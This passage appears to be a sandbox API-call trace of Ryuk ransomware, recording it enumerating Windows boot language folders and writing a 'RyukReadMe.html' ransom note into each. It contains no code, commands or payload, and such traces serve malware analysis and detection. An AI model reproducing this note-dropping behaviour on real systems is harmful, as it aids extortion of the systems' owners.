	[0197.548] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0197.548] SetLastError (dwErrCode=0x0) 
	[0197.548] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.548] GetLastError () returned 0xb7
	[0197.548] CloseHandle (hObject=0x330) returned 1
	[0197.548] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.549] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.549] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.549] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.549] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.549] SetLastError (dwErrCode=0x0) 
	[0197.550] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\RyukReadMe.html" (normalized: "c:\\boot\\fr-fr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.550] GetLastError () returned 0x0
	[0197.550] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.554] CloseHandle (hObject=0x330) returned 1
	[0197.554] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0197.554] SetLastError (dwErrCode=0x0) 
	[0197.554] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.554] GetLastError () returned 0xb7
	[0197.555] CloseHandle (hObject=0x330) returned 1
	[0197.555] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.555] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.555] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.555] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.556] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.556] SetLastError (dwErrCode=0x0) 
	[0197.556] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\RyukReadMe.html" (normalized: "c:\\boot\\hu-hu\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.556] GetLastError () returned 0x0
	[0197.556] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.941] CloseHandle (hObject=0x330) returned 1
	[0197.942] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0197.942] SetLastError (dwErrCode=0x0) 
	[0197.942] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.942] GetLastError () returned 0xb7
	[0197.942] CloseHandle (hObject=0x330) returned 1
	[0197.942] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.943] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.943] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.943] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.943] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.943] SetLastError (dwErrCode=0x0) 
	[0197.943] CreateFileW (lpFileName="C:\\Boot\\it-IT\\RyukReadMe.html" (normalized: "c:\\boot\\it-it\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.944] GetLastError () returned 0x0
	[0197.944] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.947] CloseHandle (hObject=0x330) returned 1
	[0197.947] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0197.947] SetLastError (dwErrCode=0x0) 
	[0197.947] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.948] GetLastError () returned 0xb7
	[0197.953] CloseHandle (hObject=0x330) returned 1
	[0197.953] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.954] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.954] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.954] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.954] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.954] SetLastError (dwErrCode=0x0) 
	[0197.954] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\RyukReadMe.html" (normalized: "c:\\boot\\ja-jp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.955] GetLastError () returned 0x0
	[0197.955] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.958] CloseHandle (hObject=0x330) returned 1
	[0197.958] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0197.959] SetLastError (dwErrCode=0x0) 
	[0197.959] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.959] GetLastError () returned 0xb7
	[0197.959] CloseHandle (hObject=0x330) returned 1
	[0197.959] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.960] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.960] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.960] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.960] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.960] SetLastError (dwErrCode=0x0) 
	[0197.960] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\RyukReadMe.html" (normalized: "c:\\boot\\ko-kr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.961] GetLastError () returned 0x0
	[0197.961] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.964] CloseHandle (hObject=0x330) returned 1
	[0197.964] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x24, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0197.964] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0197.965] SetLastError (dwErrCode=0x0) 
	[0197.965] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.965] GetLastError () returned 0xb7
	[0197.965] CloseHandle (hObject=0x330) returned 1
	[0197.965] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.966] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.966] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.966] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.966] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.966] SetLastError (dwErrCode=0x0) 
	[0197.966] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\RyukReadMe.html" (normalized: "c:\\boot\\nb-no\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.967] GetLastError () returned 0x0
	[0197.967] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.970] CloseHandle (hObject=0x330) returned 1
	[0197.970] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0197.971] SetLastError (dwErrCode=0x0) 
	[0197.971] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.971] GetLastError () returned 0xb7
	[0197.971] CloseHandle (hObject=0x330) returned 1
	[0197.971] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
